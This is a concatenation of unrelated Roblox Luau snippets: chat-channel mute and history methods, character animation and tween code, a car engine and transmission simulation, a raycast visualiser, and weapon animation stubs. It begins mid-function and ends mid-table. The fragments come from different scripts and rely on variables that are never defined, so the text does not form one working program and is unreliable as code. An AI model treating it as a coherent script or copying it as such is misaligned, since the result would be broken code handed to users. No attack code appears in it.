speaker:LeaveChannel(self.Name) self:SendSystemMessage(messageToChannel) end function methods:MuteSpeaker(speakerName, reason, length) local speaker = self.ChatService:GetSpeaker(speakerName) if (not speaker) then error("Speaker \"" .. speakerName .. "\" does not exist!") end self.Mutes[speakerName:lower()] = (length == 0 or length == nil) and 0 or (os.time() + length) if (reason) then self:SendSystemMessage(string.format("%s was muted for the following reason(s): %s", speakerName, reason)) end local success, err = pcall(function() self.eSpeakerMuted:Fire(speakerName, reason, length) end) if not success and err then print("Error mutting speaker: " ..err) end local spkr = self.ChatService:GetSpeaker(speakerName) if (spkr) then local success, err = pcall(function() spkr.eMuted:Fire(self.Name, reason, length) end) if not success and err then print("Error mutting speaker: " ..err) end end end function methods:UnmuteSpeaker(speakerName) local speaker = self.ChatService:GetSpeaker(speakerName) if (not speaker) then error("Speaker \"" .. speakerName .. "\" does not exist!") end self.Mutes[speakerName:lower()] = nil local success, err = pcall(function() self.eSpeakerUnmuted:Fire(speakerName) end) if not success and err then print("Error unmuting speaker: " ..err) end local spkr = self.ChatService:GetSpeaker(speakerName) if (spkr) then local success, err = pcall(function() spkr.eUnmuted:Fire(self.Name) end) if not success and err then print("Error unmuting speaker: " ..err) end end end function methods:IsSpeakerMuted(speakerName) return (self.Mutes[speakerName:lower()] ~= nil) end function methods:GetSpeakerList() local list = {} for i, speaker in pairs(self.Speakers) do table.insert(list, speaker.Name) end return list end function methods:RegisterFilterMessageFunction(funcId, func, priority) if self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' already exists", funcId)) end self.FilterMessageFunctions:AddFunction(funcId, func, priority) end function methods:FilterMessageFunctionExists(funcId) return self.FilterMessageFunctions:HasFunction(funcId) end function methods:UnregisterFilterMessageFunction(funcId) if not self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' does not exists", funcId)) end self.FilterMessageFunctions:RemoveFunction(funcId) end function methods:RegisterProcessCommandsFunction(funcId, func, priority) if self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' already exists", funcId)) end self.ProcessCommandsFunctions:AddFunction(funcId, func, priority) end function methods:ProcessCommandsFunctionExists(funcId) return self.ProcessCommandsFunctions:HasFunction(funcId) end function methods:UnregisterProcessCommandsFunction(funcId) if not self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' does not exist", funcId)) end self.ProcessCommandsFunctions:RemoveFunction(funcId) end local function ShallowCopy(table) local copy = {} for i, v in pairs(table) do copy[i] = v end return copy end function methods:GetHistoryLog() return ShallowCopy(self.ChatHistory) end function methods:GetHistoryLogForSpeaker(speaker) local userId = -1 local player = speaker:GetPlayer() if player then userId = player.UserId end local chatlog = {} --// START FFLAG if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG --// OLD BEHAVIOR for i = 1, #self.ChatHistory do local logUserId = self.ChatHistory[i].SpeakerUserId if self:CanCommunicateByUserId(userId, logUserId) then table.insert(chatlog, ShallowCopy(self.ChatHistory[i])) end end --// OLD BEHAVIOR else --// NEW BEHAVIOR for i = 1, #self.ChatHistory do local logUserId = self.ChatHistory[i].SpeakerUserId if self:CanCommunicateByUserId(userId, logUserId) then local messageObj = ShallowCopy(self.ChatHistory[i]) --// Since we're using the new filter API, we need to convert the stored filter result --// into an actual string message to send to players for their chat history. --// System messages aren't filtered the same way, so they just have a regular --// text value in the Message field. if (messageObj.MessageType == ChatConstants.MessageTypeDefault or messageObj.MessageType == ChatConstants.MessageTypeMeCommand) then local filterResult = messageObj.FilterResult if (messageObj.IsFilterResult) then if (player) then messageObj.Message = filterResult:GetChatForUserAsync(player.UserId) else messageObj.Message = filterResult:GetNonChatStringForBroadcastAsync() end else messageObj.Message = filterResult end end table.insert(chatlog, messageObj) end end --// NEW BEHAVIOR end --// END FFLAG return chatlog end
-- Hot water
faucet.HotWaterSet.Interactive.ClickDetector.MouseClick:Connect(function() faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-150),0,0)) p.HotOn.Value = true p.ColdOn.Value = false end)
------------------ ------------------
function waitForChild(parent, childName) while true do local child = parent:findFirstChild(childName) if child then return child end parent.ChildAdded:wait() end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false function newSound(SndName,id) local sound = script.Parent.Head:findFirstChild(SndName) if(sound == nil) then sound = Instance.new("Sound") sound.Name = SndName sound.Parent = script.Parent.Head sound.SoundId = id end return sound end local sDied = newSound("Died","rbxasset://sounds/uuhhh.wav") local sFallingDown = newSound("FallingDown","rbxasset://sounds/splat.wav") local sFreeFalling = newSound("FreeFalling","rbxasset://sounds/swoosh.wav") local sGettingUp = newSound("GettingUp","rbxasset://sounds/hit.wav") local sJumping = newSound("Jumping","rbxasset://sounds/button.wav") local sRunning = newSound("Running","rbxasset://sounds/bfsl-minifigfoots1.mp3") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") function onState(state, sound) if state then sound:play() else sound:pause() end end function onRunning(speed) if isSeated then return end if(script.Parent.Attacking.Value == true) then return end if speed>0 then sRunning:play() pose = "Running" else sRunning:pause() pose = "Standing" end end function onDied() pose = "Dead" sDied:play() wait(regentime) wait(1) model:remove() model = backup:Clone() wait(3) model.Parent = game.Workspace model:MakeJoints() end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onDancing() pose = "Dancing" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFloat() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = -1.57 end function moveBoogy() while pose=="Boogy" do wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 1.57 end end function moveZombie() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function StandFire() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 1.57 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function movePunch() script.Parent.Torso.Anchored=true RightShoulder.MaxVelocity = 60 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(1) script.Parent.Torso.Anchored=false pose="Standing" end function moveKick() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveFly() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = -1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency local attack = script.Parent.Attacking.Value if(attack == true) then pose = "attack" script.Parent.Humanoid.WalkSpeed = 0 script.Parent.Gun.canFire.Value = true else script.Parent.Humanoid.WalkSpeed = 16 script.Parent.Gun.canFire.Value =false end if(pose == "attack") then StandFire() return end if (pose == "Jumping") then moveJump() return end if (pose == "Zombie") then moveZombie() return end if (pose == "Boogy") then moveBoogy() return end if (pose == "Float") then moveFloat() return end if (pose == "Punch") then movePunch() return end if (pose == "Kick") then moveKick() return end if (pose == "Fly") then moveFly() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end amplitude = 0.1 frequency = 1 RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 elseif (pose == "Dancing") then amplitude = 2 frequency = 16 end desiredAngle = amplitude * math.sin(time*frequency) if pose~="Dancing" then RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle else RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--------------------[ TWEEN FUNCTIONS ]-----------------------------------------------
function TweenJoint(Joint, NewC0, NewC1, Alpha, Duration) coroutine.resume(coroutine.create(function() local TweenIndicator = nil --At the current moment, this is how the script determines whether the function is already tweening a joint local NewCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000 if (not Joint:FindFirstChild("TweenCode")) then --If the joint isn't being tweened, then TweenIndicator = Instance.new("IntValue") TweenIndicator.Name = "TweenCode" TweenIndicator.Value = NewCode TweenIndicator.Parent = Joint else TweenIndicator = Joint.TweenCode TweenIndicator.Value = NewCode --If the joint is already being tweened, this will change the code, and the tween loop will stop end local MatrixCFrame = function(CFPos, CFTop, CFBack) local CFRight = CFTop:Cross(CFBack) return CF( CFPos.x, CFPos.y, CFPos.z, CFRight.x, CFTop.x, CFBack.x, CFRight.y, CFTop.y, CFBack.y, CFRight.z, CFTop.z, CFBack.z ) end local LerpCF = function(StartCF, EndCF, Alpha) local StartTop = (StartCF * CFANG(RAD(90), 0, 0)).lookVector local StartBack = -StartCF.lookVector local EndTop = (EndCF * CFANG(RAD(90), 0, 0)).lookVector local EndBack = -EndCF.lookVector local StartPos = StartCF.p local EndPos = EndCF.p local NewCF = MatrixCFrame( StartPos:lerp(EndPos, Alpha), StartTop:lerp(EndTop, Alpha), StartBack:lerp(EndBack, Alpha) ) return NewCF end local StartC0 = Joint.C0 local StartC1 = Joint.C1 local X = 0 while true do local NewX = X + math.min(1.5 / math.max(Duration, 0), 90) X = (NewX > 90 and 90 or NewX) if TweenIndicator.Value ~= NewCode then break end --This makes sure that another tween wasn't called on the same joint if (not Selected) then break end --This stops the tween if the tool is deselected if NewC0 then Joint.C0 = LerpCF(StartC0, NewC0, Alpha(X)) end if NewC1 then Joint.C1 = LerpCF(StartC1, NewC1, Alpha(X)) end if X == 90 then break end RS:wait() --This makes the for loop step every 1/60th of a second end if TweenIndicator.Value == NewCode then --If this tween functions was the last one called on a joint then it will remove the code TweenIndicator:Destroy() end end)) end function RotCamera(RotX, RotY, SmoothRot, Duration) spawn(function() if SmoothRot then local TweenIndicator = nil local NewCode = math.random(-1e9, 1e9) if (not Camera:FindFirstChild("TweenCode")) then TweenIndicator = Instance.new("IntValue") TweenIndicator.Name = "TweenCode" TweenIndicator.Value = NewCode TweenIndicator.Parent = Camera else TweenIndicator = Camera.TweenCode TweenIndicator.Value = NewCode end local Step = math.min(1.5 / math.max(Duration, 0), 90) local X = 0 while true do local NewX = X + Step X = (NewX > 90 and 90 or NewX) if TweenIndicator.Value ~= NewCode then break end if (not Selected) then break end local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude local NewCamCF = CF(Camera.Focus.p) * CamRot * CFANG(RotX / (90 / Step), RotY / (90 / Step), 0) Camera.CoordinateFrame = CF(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CF(0, 0, CamDist) if X == 90 then break end RS:wait() end if TweenIndicator.Value == NewCode then TweenIndicator:Destroy() end else local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude local NewCamCF = CF(Camera.Focus.p) * CamRot * CFANG(RotX, RotY, 0) Camera.CoordinateFrame = CF(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CF(0, 0, CamDist) end end) end
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 --Horsepower Curve local fgc_h=_Tune.Horsepower/100 local fgc_n=_Tune.PeakRPM/1000 local fgc_a=_Tune.PeakSharpness local fgc_c=_Tune.CurveMult function FGC(x) x=x/1000 return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1)))) end local PeakFGC = FGC(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0) return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling end --Output Cache local CacheTorque = true local HPCache = {} local HPInc = 100 if CacheTorque then for gear,ratio in pairs(_Tune.Ratios) do local hpPlot = {} for rpm = math.floor(((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150)/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do local tqPlot = {} tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2) hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2) tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000) tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000) hpPlot[rpm] = tqPlot end table.insert(HPCache,hpPlot) end end --Powertrain --Update RPM function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = ((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150) if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end --Apply Power function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150),_RPM))/HPInc)] _HP = (cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*car.DriveSeat.PMult.Value) _OutTorque = (cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*car.DriveSeat.PMult.Value) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>((_Tune.PeakRPM+_Tune.AutoUpThresh)*car.DriveSeat.PMult.Value) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),((_Tune.IdleRPM*car.DriveSeat.EcoIdle.Value)+150))<((_Tune.PeakRPM-_Tune.AutoDownThresh)*car.DriveSeat.PMult.Value) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*((_Tune.PeakRPM+_Tune.AutoUpThresh)*car.DriveSeat.PMult.Value)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*((_Tune.PeakRPM-_Tune.AutoDownThresh)*car.DriveSeat.PMult.Value)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not car.DriveSeat.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- asset Id of the bloxy cola gear: http://www.roblox.com/Bloxy-Cola-item?id=10472779
local bloxyColaId = 10472779
-- Start: -- overlay.Position = UDim2.new(0, 0, 0, -22) -- overlay.Size = UDim2.new(1, 0, 1.15, 30)
-- @param Int amount
function WeaponRuntimeData:SubtractAmmo(amount) self.currentAmmo = self.currentAmmo - amount end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again BoneModelName = "Suffer zone" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- // Public Methods \\ --
function CastVisualiser:Hide() self.CastOriginPart.Parent = nil end function CastVisualiser:Raycast(Origin: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?) local self: CastVisualiserPrivate = self local Cast = self.WorldRoot:Raycast(Origin, Direction, RaycastParameters) if not Cast then self:Hide() return end self.CastOriginPart.CFrame = CFrame.lookAt(Origin, Cast.Position) self.LineVisual.Length = Cast.Distance - CONE_HEIGHT self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance) self.BoxVisual.Visible = false self.SphereVisual.Visible = false self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot end function CastVisualiser:Blockcast(CF: CFrame, Size: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?) local self: CastVisualiserPrivate = self local Cast = self.WorldRoot:Blockcast(CF, Size, Direction, RaycastParameters) if not Cast then self:Hide() return end local FinalPos = CF.Position + (Direction.Unit * Cast.Distance) self.CastOriginPart.CFrame = CFrame.lookAt(CF.Position, FinalPos) self.LineVisual.Length = Cast.Distance - CONE_HEIGHT self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance) self.BoxVisual.CFrame = CFrame.new(0, 0, -Cast.Distance) self.BoxVisual.Size = Size self.BoxVisual.Visible = true self.SphereVisual.Visible = false self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot end function CastVisualiser:SphereCast(Origin: Vector3, Radius: number, Direction: Vector3, RaycastParameters: RaycastParams?) local self: CastVisualiserPrivate = self local Cast = self.WorldRoot:Spherecast(Origin, Radius, Direction, RaycastParameters) if not Cast then self:Hide() return end local FinalPos = Origin + (Direction.Unit * Cast.Distance) self.CastOriginPart.CFrame = CFrame.lookAt(Origin, FinalPos) self.LineVisual.Length = Cast.Distance - CONE_HEIGHT self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance) self.SphereVisual.CFrame = CFrame.new(0, 0, -Cast.Distance) self.SphereVisual.Radius = Radius self.SphereVisual.Visible = true self.BoxVisual.Visible = false self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot end
-- if not version then -- return Error( -- chalk.red( -- chalk.bold('Outdated snapshot') .. ": No snapshot header found. " .. -- "Jest 19 introduced version snapshots to ensure all developers " .. -- "on a project are using the same version of Jest. " .. -- "Please update all snapshots during this upgrade of Jest.\n\n" -- ) .. SNAPSHOT_VERSION_WARNING -- ) -- end
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() 